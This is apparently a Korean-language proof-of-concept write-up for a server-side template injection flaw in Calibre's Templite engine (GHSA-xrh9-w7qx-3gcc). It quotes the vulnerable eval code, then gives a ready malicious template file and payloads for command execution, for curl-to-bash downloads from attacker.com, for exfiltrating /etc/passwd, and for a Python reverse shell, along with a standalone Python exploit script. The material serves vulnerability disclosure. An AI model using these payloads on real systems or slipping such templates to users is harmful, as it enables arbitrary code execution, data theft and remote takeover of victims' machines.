
# Calibre Templite SSTI PoC (GHSA-xrh9-w7qx-3gcc) Calibre의 Templite 엔진에서 발견된 서버 측 템플릿 인젝션(SSTI) 취약점에 대한 개념 증명(PoC)입니다. 영향을 받는 버전(≤ 9.1.0)에서 사용자가 제공한 HTML 내보내기 템플릿을 통해 임의의 Python 코드 실행이 가능함을 보여줍니다.
심각도: 높음 (CVSS 7.8)
영향을 받는 소프트웨어: calibre <= 9.1.0
패치 버전: 9.2.0
Calibre의 Templite 템플릿 엔진에서 발견된 서버 사이드 템플릿 인젝션(SSTI) 취약점으로 인해, 사용자가 --template-html 또는 --template-html-index 명령줄 옵션을 통해 악성 사용자 정의 템플릿 파일을 사용하여 전자책을 변환할 때 임의 코드 실행이 가능합니다.
Templite 엔진(src/templite/__init__.py)은 Python의 compile() 및 eval() 함수를 사용하여 템플릿을 컴파일하고 평가하며, 샌드박싱이 전혀 적용되지 않습니다:
src/templite/__init__.py의 취약한 코드:
# Line 72: Template is compiled to Python code
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Line 90: Compiled code is executed via eval()
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Arbitrary code execution
src/calibre/ebooks/conversion/plugins/html_output.py의 공격 벡터:
# Lines 96-98: User-supplied template file is loaded
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Line 136: Template is passed to vulnerable Templite engine
templite = Templite(template_html_index_data)
동일한 패턴이 --template-html 옵션(102-106행, 200행)에도 존재합니다.
다음 내용을 malicious_template.tmpl로 저장합니다:
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# Convert any ebook using the malicious template
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...
# Command execution
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# File exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# Command execution
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render()) # Prints current username
# File read
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render()) # Prints first line of /etc/passwd
영향을 받는 사용자:
공격 시나리오:
ebook-convert book.epub out.zip --template-html=template.tmpl